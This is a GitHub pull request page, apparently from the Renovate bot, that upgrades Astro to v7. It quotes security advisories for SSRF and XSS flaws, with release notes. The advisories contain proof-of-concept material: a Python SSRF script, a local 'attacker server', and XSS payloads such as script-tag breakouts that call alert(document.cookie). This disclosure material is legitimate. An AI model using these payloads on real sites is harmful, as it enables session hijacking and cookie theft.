Skip to content

fix(deps): update dependency astro to v7 [security] - #407

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-astro-vulnerability
Open

fix(deps): update dependency astro to v7 [security]#407
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-astro-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Apr 21, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
astro (source) ^5.0.0^7.0.0 age confidence
astro (source) ^5.18.0^7.0.0 age confidence

Astro: Remote allowlist bypass via unanchored matchPathname wildcard

CVE-2026-33769 / GHSA-g735-7g2w-hh3f

More information

Details

Summary

This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.

Impact

Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.

Description

Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()

User-controlled href is parsed into transform.src and validated via isRemoteAllowed():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56

const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);

const isRemoteImage = isRemotePath(transform.src);

if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
  return new Response('Forbidden', { status: 403 });
}

isRemoteAllowed() checks each remotePattern via matchPattern():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21

export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
  return (
    matchProtocol(url, remotePattern.protocol) &&
    matchHostname(url, remotePattern.hostname, true) &&
    matchPort(url, remotePattern.port) &&
    matchPathname(url, remotePattern.pathname, true)
  );
}

The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99

} else if (pathname.endsWith('/*')) {
  const slicedPathname = pathname.slice(0, -1); // * length
  const additionalPathChunks = url.pathname
    .replace(slicedPathname, '')
    .split('/')
    .filter(Boolean);
  return additionalPathChunks.length === 1;
}

Vulnerable code flow:

  1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
  2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
  3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
  4. The image endpoint fetches and returns the remote resource.
PoC

The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.

Vulnerable config
import { defineConfig } from 'astro/config';
import node from '@​astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
      { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
    ],
  },
});
Affected pages

This PoC targets the /_image endpoint directly; no additional pages are required.

PoC Code
import http.client
import json
import urllib.parse

HOST = "127.0.0.1"
PORT = 4321

def fetch(path: str) -> dict:
    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
    conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
    resp = conn.getresponse()
    body = resp.read(2000).decode("utf-8", errors="replace")
    conn.close()
    return {
        "path": path,
        "status": resp.status,
        "reason": resp.reason,
        "headers": dict(resp.getheaders()),
        "body_snippet": body[:400],
    }

allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")

##### Both pass, second should fail

results = {
    "allowed": fetch(f"/_image?href={allowed}&f=svg"),
    "bypass": fetch(f"/_image?href={bypass}&f=svg"),
}

print(json.dumps(results, indent=2))
Attacker server
from http.server import BaseHTTPRequestHandler, HTTPServer

HOST = "127.0.0.1"
PORT = 9999

PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
  <text>OK</text>
</svg>
"""

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f">>> {self.command} {self.path}")
        if self.path.endswith(".svg") or "/img/" in self.path:
            self.send_response(200)
            self.send_header("Content-Type", "image/svg+xml")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(PAYLOAD.encode("utf-8"))
            return

        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok")

    def log_message(self, format, *args):
        return

if __name__ == "__main__":
    server = HTTPServer((HOST, PORT), Handler)
    print(f"HTTP logger listening on http://{HOST}:{PORT}")
    server.serve_forever()
PoC Steps
  1. Bootstrap default Astro project.
  2. Add the vulnerable config and attacker server.
  3. Build the project.
  4. Start the attacker server.
  5. Start the Astro server.
  6. Run the PoC.
  7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.

Severity

  • CVSS Score: 2.9 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro: XSS in define:vars via incomplete </script> tag sanitization

CVE-2026-41067 / GHSA-j687-52p2-xcff

More information

Details

Summary

The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript.

Details

The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/<\/script>/g,       // ← Case-sensitive, exact match only
			'\\x3C/script>',
		)};\n`;
	}
	return markHTMLString(output);
}

This function is called from renderElement at util.ts:172-174 when a <script> element has define:vars:

if (name === 'script') {
	delete props.hoist;
	children = defineScriptVars(defineVars) + '\n' + children;
}

The regex /<\/script>/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:

  1. Case variations: </Script>, </SCRIPT>, </sCrIpT> — HTML tag names are case-insensitive but the regex has no i flag.
  2. Whitespace before >: </script >, </script\t>, </script\n> — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.
  3. Self-closing slash: </script/> — the tokenizer enters "self-closing start tag" state on /.

JSON.stringify() does not escape <, >, or / characters, so all these payloads pass through serialization unchanged.

Execution flow: User-controlled input (e.g., Astro.url.searchParams) → assigned to a variable → passed via define:vars on a <script> tag → renderElementdefineScriptVars → incomplete sanitization → injected into <script> block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.

PoC

Step 1: Create an SSR Astro page (src/pages/index.astro):

---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
  <h1>Hello</h1>
  <script define:vars=>
    console.log(name);
  </script>
</body>
</html>

Step 2: Ensure SSR is enabled in astro.config.mjs:

export default defineConfig({
  output: 'server'
});

Step 3: Start the dev server and visit:

http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>

Step 4: View the HTML source. The output contains:

<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
  console.log(name);
</script>

The browser's HTML parser matches </Script> case-insensitively, closing the script block. The <img onerror=alert(document.cookie)> is then parsed as HTML and the JavaScript in onerror executes.

Alternative bypass payloads:

/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>
Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a <script> tag. This is a documented and expected usage pattern in Astro.

Exploitation enables:

  • Session hijacking via cookie theft (document.cookie)
  • Credential theft by injecting fake login forms or keyloggers
  • Defacement of the rendered page
  • Redirection to attacker-controlled domains

The vulnerability affects all Astro versions that support define:vars and is exploitable in any SSR deployment where user input reaches a define:vars script variable.

Recommended Fix

Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all < characters in the JSON output:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/</g,
			'\\u003c',
		)};\n`;
	}
	return markHTMLString(output);
}

This is the standard approach used by frameworks like Next.js and Rails. Replacing every < with \u003c is safe inside JSON string contexts (JavaScript treats \u003c as < at runtime) and eliminates all possible </script> variants including case variations, whitespace, and self-closing forms.

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro: Server island encrypted parameters vulnerable to cross-component replay

CVE-2026-45028 / GHSA-xr5h-phrj-8vxv

More information

Details

Impact

Astro versions prior to 6.1.10 used AES-GCM encryption to protect the confidentiality and integrity of server island props and slots parameters, but did not bind the ciphertext to its intended component or parameter type. An attacker could replay one component's encrypted props (p) value as another component's slots (s) value, or vice versa.

Since slots contain raw unescaped HTML while props may contain user-controlled values, this could lead to XSS in applications that meet all of the following conditions:

  • The application uses server islands
  • Two different server island components share the same key name for a prop and a slot
  • An attacker has full control over the value of the overlapping prop (requires a dynamically rendered page)

These conditions are very unlikely to occur in real-world production applications.

Patches

This has been patched in astro@6.1.10.

The fix binds each encrypted parameter to its target component and purpose using AES-GCM authenticated additional data (AAD). Each ciphertext now includes context like props:IslandName or slots:IslandName, so encrypted data for one component cannot be replayed against a different component, and encrypted props cannot be reused as slots.

References

Severity

  • CVSS Score: 2.9 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro: Reflected XSS via unescaped slot name

CVE-2026-50146 / GHSA-8hv8-536x-4wqp

More information

Details

Summary

When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.

This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.

Vulnerable Code

packages/astro/src/runtime/server/render/component.ts:371:376

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`

I found that key is interpolated directly into the attribute value without proper escaping.

Proof of Concept

For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.

astro.config.mjs

import react from '@&#8203;astrojs/react';
import node from '@&#8203;astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  integrations: [react()],
});

src/pages/index.astro

---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
  <Wrapper client:load>
    <div slot={slotName}>content</div>
  </Wrapper>
</body></html>

src/components/Wrapper.jsx

export default function Wrapper() { return null; }

Payload:

abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--

Accessing this URL will trigger the popup.

http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--

image

This will render in html.

<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>
Fix

I suggest leveraging the existing escape function on the slot name.

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro: Host header SSRF in prerendered error page fetch

CVE-2026-54299 / GHSA-2pvr-wf23-7pc7

More information

Details

Summary

Astro SSR apps with prerendered error pages (/404 or /500 using export const prerender = true) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from request.url, which in turn gets its origin from the incoming Host header. When the Host header is not validated against allowedDomains, an attacker can point the fetch at an arbitrary host and read the response.

Who is affected

This affects SSR deployments that:

  1. Have a prerendered 404 or 500 page
  2. Use createRequestFromNodeRequest from astro/app/node with app.render() without overriding prerenderedErrorPageFetch — this includes custom servers built on the public API and third-party adapters

Not affected:

  • @astrojs/node >= 9.5.4 (reads error pages from disk)
  • @astrojs/cloudflare (uses the ASSETS binding)
  • The dev server (renders error pages in-process)
How it works

createRequestFromNodeRequest builds request.url from the raw Host / :authority header. The allowedDomains option is accepted but only gates X-Forwarded-For — it does not constrain the URL origin. (The public createRequest does fall back to localhost for unvalidated hosts; this internal builder did not.)

When app.render() encounters a 404 or 500 with a prerendered error route, default-handler.ts constructs the error page URL using the origin from request.url and fetches it via prerenderedErrorPageFetch, which defaults to global fetch. The response body is served to the client.

An attacker sends a request with Host: attacker-host:port, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back.

Remediation

The error page fetch origin is now validated against allowedDomains before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to localhost. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response.

Credit

5ud0 / Tarmo Technologies

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Astro: XSS via Unescaped Attribute Names in Spread Props

CVE-2026-54298 / GHSA-jrpj-wcv7-9fh9

More information

Details

Summary

The spreadAttributes function in Astro's server-side rendering pipeline iterates over object keys and passes them directly to addAttribute, which interpolates the key into the HTML output without escaping. When a developer uses the spread syntax {...props} on an HTML element and the object keys come from an untrusted source (API, CMS, URL parameters), an attacker can inject arbitrary HTML attributes including event handlers like onmousemove, onclick, or break out of the attribute context entirely to inject new elements.

Details

The vulnerable function is addAttribute at packages/astro/src/runtime/server/render/util.ts:81-141:

export function addAttribute(value: any, key: string, shouldEscape = true, tagName = '') {
    if (value == null) {
        return '';
    }
    
    return markHTMLString(` ${key}="${toAttributeString(value, shouldEscape)}"`); //  key interpolated not escaped
}

This function is called from spreadAttributes at packages/astro/src/runtime/server/index.ts:91-92:

for (const [key, value] of Object.entries(values)) {
    output += addAttribute(value, key, true, _name);
}

The toAttributeString function escapes the attribute value, but the attribute name key is never validated or escaped. An attacker can craft a JSON object with a key containing " characters to break out of the attribute context and inject event handlers.

Execution flow: User controlled object keys (from API, CMS, URL params) are spread onto element via {...props}. The compiler generates spreadAttributes(props) which iterates with Object.entries() and calls addAttribute(value, key). The key is interpolated as ` ${key}="${escapedValue}"`. A malicious key breaks attribute context, resulting in XSS.

POC

Create an SSR Astro page (src/pages/index.astro):

---
const props = JSON.parse(Astro.url.searchParams.get('props') || '{}');
---
<html>
<body>
  <h1>Hello</h1>
  <div {...props}>Move mouse here</div>
</body>
</html>

Enable SSR in astro.config.mjs (for URL based demo):

export default defineConfig({
  output: 'server'
});

Note: SSR is not required for the vulnerability to exist. In static builds (default), the attack vector is compromised data sources at build time (API, CMS, database). SSR simply makes the PoC easier to demonstrate via URL parameters.

Start the dev server and visit:

http://localhost:4321/?props={"x\" onmousemove=\"alert(document.cookie)\" y":""}

URL encoded:

http://localhost:4321/?props=%7B%22x%5C%22%20onmousemove%3D%5C%22alert(document.cookie)%5C%22%20y%22%3A%22%22%7D

View the HTML source. The output contains:

<div x" onmousemove="alert(document.cookie)" y="">Move mouse here</div>

The key x" onmousemove="alert(document.cookie)" y breaks out of the attribute context. Moving the mouse over the div executes the JavaScript.

Captura de tela 2026-06-02 005906
Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any Astro application that spreads object props from untrusted sources onto HTML elements. This is a common pattern when integrating with external APIs or CMS systems. Exploitation enables session hijacking via cookie theft, credential theft by injecting fake login forms or keyloggers, defacement of the rendered page, and redirection to attacker controlled domains.

The vulnerability affects all Astro versions that support spread syntax on HTML elements and is exploitable in SSR, SSG (if build time data is compromised), and hybrid deployments.

Severity

  • CVSS Score: 4.2 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

withastro/astro (astro)

v7.1.6

Compare Source

Patch Changes
  • #​17536 ff97b86 Thanks @​dmgawel! - Fixes concurrent static builds failing to generate i18n rewrite fallbacks for dynamic routes

  • #​17383 296e1b0 Thanks @​thelazylamaGit! - Fixes stale dev CSS after editing component style blocks and CSS files in dev

  • #​17543 bbc1ec9 Thanks @​ematipico! - Adds a feature to experimental.collectionStorage that allows to change the size of chunks.

    For example, you can reduce the size of chunks to 1MB:

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      experimental: {
        collectionStorage: {
          type: 'chunked',
          chunkSize: 1024 * 1024,
        },
      },
    });
  • #​17545 5214663 Thanks @​ematipico! - Bumps the Astro compiler to the latest version. Changelog.

v7.1.5

Compare Source

Patch Changes

v7.1.4

Compare Source

Patch Changes
  • #​17488 d4f266d Thanks @​emerson-d-lopes! - Fixes duplicate CSS files being emitted in server output when a prerendered page and a server-rendered page share the same styles (e.g. a shared layout importing Tailwind). The prerender and SSR environments each emitted their own copy of the same stylesheet (index.X.css and _..Y.css); the SSR build now reuses the CSS asset filename from the prerender build when the stylesheet is backed by the same CSS source modules, so only a single file is emitted.

  • #​17472 4dc590c Thanks @​astrobot-houston! - Adds the missing background prop to the <Image /> and <Picture /> component types. The prop already worked at runtime, but was absent from the types, causing astro check to report that background does not exist on the component props

  • #​17292 0fc519d Thanks @​astrobot-houston! - Fixes missing scoped styles for child components inside client:only islands in production builds

  • #​17421 f1448de Thanks @​iamkaleemsajjad-hue! - Fixes session runtime errors being silently swallowed by console.error instead of routing through Astro's logger

  • #​17421 f1448de Thanks @​iamkaleemsajjad-hue! - Fixes a session being left in a partial state after a storage failure during session.regenerate(), preventing unnecessary storage reads on subsequent operations

  • #​17517 82bf7e2 Thanks @​Hashim1999164! - Prevents a visible terminal window from popping up on Windows when the dev server runs in background mode. The detached child process is now spawned with windowsHide: true, so console-subsystem grandchildren (such as workerd.exe) no longer get a new focus-stealing window allocated by Windows Terminal.

  • #​17510 eaa1fb0 Thanks @​astrobot-houston! - Fixes the glob() loader watcher so negation patterns like !docs/drafts/** correctly exclude files during development, matching the behavior of the initial scan. Previously, negations were treated as independent matchers, causing unrelated files (including .astro/data-store.json) to be ingested as collection entries

  • #​17511 704e570 Thanks @​astrobot-houston! - Fixes TypeScript path aliases from tsconfig.json not resolving in astro.config.ts

v7.1.3

Compare Source

Patch Changes
  • #​17427 630b382 Thanks @​astrobot-houston! - Fixes image optimization during astro build using too many parallel processes in CPU-limited containers. Builds now respect the container's CPU limit, reducing peak memory usage and avoiding out-of-memory crashes.

v7.1.2

Compare Source

Patch Changes
  • #​17445 a5f7230 Thanks @​ocavue! - Updates dependency cookie to v2. Cookie values made entirely of URL-safe characters are no longer percent-encoded in Set-Cookie headers; encoded values round-trip exactly as before.

  • #​17402 a89c137 Thanks @​farrosfr! - Fixes a bug where mutated Astro.locals during the request lifecycle are lost and not passed to custom error pages (404.astro/500.astro)

  • #​17405 91992ef Thanks @​Araluma! - Prevents an unhandled promise rejection from the prefetch fetch fallback. In WebKit (Safari), <link rel="prefetch"> is unsupported, so prefetch uses the fetch() fallback; on a flaky connection that fetch rejects with TypeError: Load failed, and because the promise was not awaited or caught, it surfaced as an unhandled rejection to the page's global error handlers. The best-effort prefetch now swallows the failure with .catch().

v7.1.1

Compare Source

Patch Changes

v7.1.0

Compare Source

Minor Changes
  • #​17302 5f4dc03 Thanks @​astrobot-houston! - Adds a new deferRender option to the glob() content loader

    When set to true, renderable entries (such as Markdown) are not rendered during content sync. Instead, rendering is deferred until the entry is actually rendered in a page, using the same on-demand path that .mdx files already use.

    This reduces memory usage during astro build for large collections whose rendered output is much larger than the source — for example, Markdown that uses heavy rehype plugins like rehype-katex. Such builds could previously run out of memory while storing the eagerly-rendered HTML for every entry.

    // src/content.config.ts
    import { defineCollection } from 'astro:content';
    import { glob } from 'astro/loaders';
    
    const docs = defineCollection({
      loader: glob({ pattern: '**/*.md', base: 'src/content/docs', deferRender: true }),
    });

    By default deferRender is false, preserving the existing behavior of rendering entries eagerly during sync so their rendered HTML can be cached across builds.

  • #​17296 30698a2 Thanks @​ematipico! - Adds a new experimental collectionStorage option for controlling how the content layer persists its data store

    By default, Astro serializes the entire content layer data store to a single file (.astro/data-store.json). For very large content collections, this file can grow large enough to hit platform file-size limits.

    Set experimental.collectionStorage: 'chunked' to instead split the data store across many smaller, content-addressed files inside a .astro/data-store/ directory, described by a manifest:

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      experimental: {
        collectionStorage: 'chunked',
      },
    });

    Because each part file is named by a hash of its contents, unchanged parts keep the same name across builds and are not rewritten, and identical parts are deduplicated. The default value is 'single-file', which preserves the current behavior.

  • #​17214 44c4989 Thanks @​ematipico! - Adds support for the more specific CSP directives script-src-elem, script-src-attr, style-src-elem, and style-src-attr through a new kind option.

    Previously, CSP was only scoped to generic script-src/style-src directives. Now each source or hash can be scoped to a narrower directive — for example, to allow inline style attributes (such as those from define:vars or Shiki) without loosening the policy for your <style> and <link> elements.

Scoping sources and hashes in your config

Each entry in resources and hashes can be an object with a kind property. Depending on whether you use scriptDirective or styleDirective, "element" targets script-src-elem or style-src-elem, "attribute" targets script-src-attr or style-src-attr, and "default" (the same as a bare string or hash) targets script-src or style-src.

// astro.config.mjs
import { defineConfig } from 'astro/config';

export default defineConfig({
  security: {
    csp: {
      scriptDirective: {
        resources: [{ resource: 'https://cdn.example.com', kind: 'element' }],
      },
      styleDirective: {
        resources: [{ resource: "'unsafe-inline'", kind: 'attribute' }],
      },
    },
  },
});
Scoping at runtime

The same kind option is available on the runtime CSP API, where the existing methods now also accept an object:

ctx.csp.insertScriptResource({ resource: 'https://cdn.example.com', kind: 'element' });
ctx.csp.insertStyleResource({ resource: "'unsafe-inline'", kind: 'attribute' });
  • #​17258 84814d4 Thanks @​astrobot-houston! - Adds a new format() option to the paginate utility. The format() option is a function that accepts the current URL of the page, and returns a new URL.

    For example, when your host only supports URLs using the .html extension, you can use format() to add it to the generated URLs:

    ---
    export async function getStaticPaths({ paginate }) {
      // Load your data with fetch(), getCollection(), etc.
      const response = await fetch(`https://pokeapi.co/api/v2/pokemon?limit=150`);
      const result = await response.json();
      const allPokemon = result.results;
    
      // Return a paginated collection of paths for all items
      return paginate(allPokemon, {
        pageSize: 10,
        format: (url) => `${url}.html`,
      });
    }
    
    const { page } = Astro.props;
    ---
  • #​17331 7db6420 Thanks @​matthewp! - Adds a --ignore-lock flag to astro dev for starting a dev server without checking or writing the lock file, so it can run alongside an already-running dev server for the same project.

    The new instance is not tracked by astro dev stop, astro dev status, or astro dev logs. --ignore-lock cannot be combined with --background (or an auto-detected AI agent environment, which runs dev servers in the background automatically) or --force, since those rely on the lock file.

    astro dev --ignore-lock
  • #​17389 16de021 Thanks @​florian-lefebvre! - Allows passing URL entrypoints when configuring the logger

    Matching other APIs like session drivers or font providers, the logger entrypoint can now be a URL:

    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      logger: {
        entrypoint: new URL('./logger.js', import.meta.url),
      },
    });
Patch Changes
  • #​17332 4407483 Thanks @​astrobot-houston! - Fixes the JSON logger crashing with process is not defined in non-Node runtimes like Cloudflare's workerd. The JSON logger now uses console.log/console.error instead of process.stdout/process.stderr, matching the pattern already used by the console logger.

  • #​17391 186a1e7 Thanks @​florian-lefebvre! - Fixes a case where an integration could not update the logger with updateConfig()

  • #​17394 d9f99e1 Thanks @​matthewp! - Fixes element-specific CSP directives to preserve the existing behavior of configured script and style resources

  • #​17374 b2d1b3e Thanks @​astrobot-houston! - Fixes dev server returning 404 for ?url imported assets when accessed via browser navigation

  • #​17390 ed71eaf Thanks @​florian-lefebvre! - Removes an unused and undocumented generic from the AstroLoggerDestination type

  • #​17393 092da56 Thanks @​matthewp! - Hardens generated transition styles, development metadata, and server island URLs when embedding dynamic values

v7.0.9

Compare Source

Patch Changes
  • #​17286 a249317 Thanks @​astrobot-houston! - Fixes the first browser visit after astro dev starts triggering an immediate full page reload

  • #​17369 a94d4a5 Thanks @​adamchal! - Fixes an issue where a client island could permanently fail to hydrate if the first attempt to load its component failed. Islands now reliably recover from transient import failures, which previously did not work for React components during astro dev.

v7.0.8

Compare Source

Patch Changes

v7.0.7

Compare Source

Patch Changes
  • #​17318 23a4120 Thanks @​astrobot-houston! - Fixes CSS module scoped-name hash mismatch in astro dev when using vite.css.transformer: 'lightningcss' with content collections. Previously, a component importing a CSS module and rendered via content collection render() would get different class name hashes in the element and the injected <style> tag, causing styles not to apply.

  • #​17323 4298883 Thanks @​ematipico! - Fixes a dev server memory leak which caused Node.js to emit warnings in the console.

  • #​17323 4298883 Thanks @​ematipico! - Fixes a dev server crash when a .html or /index.html suffixed request (such as those netlify dev probes as pretty-URL fallbacks) matched a dynamic endpoint route, causing a TypeError: Missing parameter error

  • #​17325 cebc404 Thanks @​astrobot-houston! - Fixes a bug where CSS @import rules could end up mid-stylesheet after inline CSS chunks were merged during build, causing browsers to silently ignore them

  • #​17323 4298883 Thanks @​ematipico! - Fixes a build regression that could leave unresolved preload markers in inlined scripts with external dynamic imports

  • Updated dependencies [4298883, 4298883]:

v7.0.6

Compare Source

Patch Changes
  • #​17261 79aa99c Thanks @​astrobot-houston! - Fixes a false deprecation warning for markdown.gfm and markdown.smartypants when using the Container API

  • #​17247 f94280d Thanks @​chatman-media! - Fixes route generation throwing "Missing parameter" (or silently dropping the segment) when a dynamic param's value is 0. The generator used truthy checks instead of checking for undefined, so paginate(posts, { params: { categoryId: 0 } }) would crash even though 0 is a perfectly valid param value.

  • #​17278 6f11739 Thanks @​astrobot-houston! - Fixes missing CSS for virtual style modules (e.g., responsive image layout styles) in dev mode when JavaScript is disabled

  • #​17250 0b30b35 Thanks @​matthewp! - Fixes the security.checkOrigin check so it is applied consistently to Astro Actions and on-demand endpoints, regardless of how the request pipeline is composed. Previously, the origin check could be skipped in the composabl

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@vercel

vercel Bot commented Apr 21, 2026

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
sqip Ready Ready Preview Jul 30, 2026 5:04pm

Request Review

@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 7f5fe71 to 798f558 Compare April 23, 2026 11:59
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 798f558 to 87f9125 Compare April 23, 2026 16:14
@renovate renovate Bot changed the title fix(deps): update dependency astro to v6 [security] fix(deps): update dependency astro to v6 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate
renovate Bot deleted the renovate/npm-astro-vulnerability branch April 27, 2026 17:12
@renovate renovate Bot changed the title fix(deps): update dependency astro to v6 [security] - autoclosed fix(deps): update dependency astro to v6 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch 2 times, most recently from 87f9125 to a845019 Compare April 27, 2026 23:01
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from a845019 to 29d8bca Compare April 29, 2026 16:15
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 29d8bca to 34535f5 Compare April 29, 2026 22:03
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 34535f5 to f79abaa Compare April 30, 2026 14:02
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from f79abaa to 3bbf7b1 Compare April 30, 2026 19:09
@renovate renovate Bot changed the title fix(deps): update dependency astro to v6 [security] fix(deps): update dependency astro to v6 [security] - autoclosed May 5, 2026
@renovate renovate Bot closed this May 5, 2026
@renovate renovate Bot changed the title fix(deps): update dependency astro to v6 [security] - autoclosed fix(deps): update dependency astro to v6 [security] May 5, 2026
@renovate renovate Bot reopened this May 5, 2026
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch 2 times, most recently from 3bbf7b1 to bb2abb2 Compare May 5, 2026 20:59
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from bb2abb2 to 1ed2f5f Compare May 12, 2026 12:41
@renovate
renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 8637dea to 8c30944 Compare May 22, 2026 18:33
@renovate
